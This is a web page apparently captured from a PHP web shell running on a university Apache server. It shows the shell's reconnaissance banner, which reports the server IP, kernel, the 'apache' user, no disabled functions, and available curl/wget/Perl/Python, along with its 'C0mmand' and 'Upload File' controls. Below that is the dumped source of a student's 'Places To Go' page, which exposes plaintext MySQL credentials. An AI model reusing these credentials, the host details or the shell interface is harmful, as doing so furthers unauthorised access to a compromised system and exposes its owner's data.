Server IP : 172.16.15.8 / Your IP : 3.133.128.227 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jlsnowden/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
\<!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body, html { height: 100%; margin: 0; /* The image used */ background-image: url("Arts.jpg "); /* Full height */ height: 100%; /* Center and scale the image nicely */ background-position: center; background-repeat: no-repeat; background-size: cover; } </style> </head> <body> <div class="bg"></div> <p> </body> </html> <center> <H2 style="color:white"> Places To Go: </H2> <HR> <?php $host = 'localhost'; $user = 'jlsnowden'; $passwd = 'cs480'; $database = 'jlsnowden'; $connect = mysqli_connect($host, $user, $passwd); $query = "select * from PLACES"; // print "The query is <i> $query </i> "; mysqli_select_db($connect, $database); $result_id = mysqli_query($connect, $query); if($result_id) { print '<table border=1 bgcolor="#ccccff">'; print '<TH> PLACE <TH> CITY <TH> ADDRESS <TH> ZIP_CODE <TH> HOURS <TH> MORE_INFO'; while($row = mysqli_fetch_row($result_id)) { print '<TR>'; foreach ($row as $field) print "<TD> $field </TD> "; print '</TR>'; } print '</table>'; } else print "Fail.<p>"; mysqli_close($connect); ?> <a href="search_sight.php" style="color:white">Narrow search for places</a> <p> <a href="Final2.html" style="color:white" >Home</a> </Center>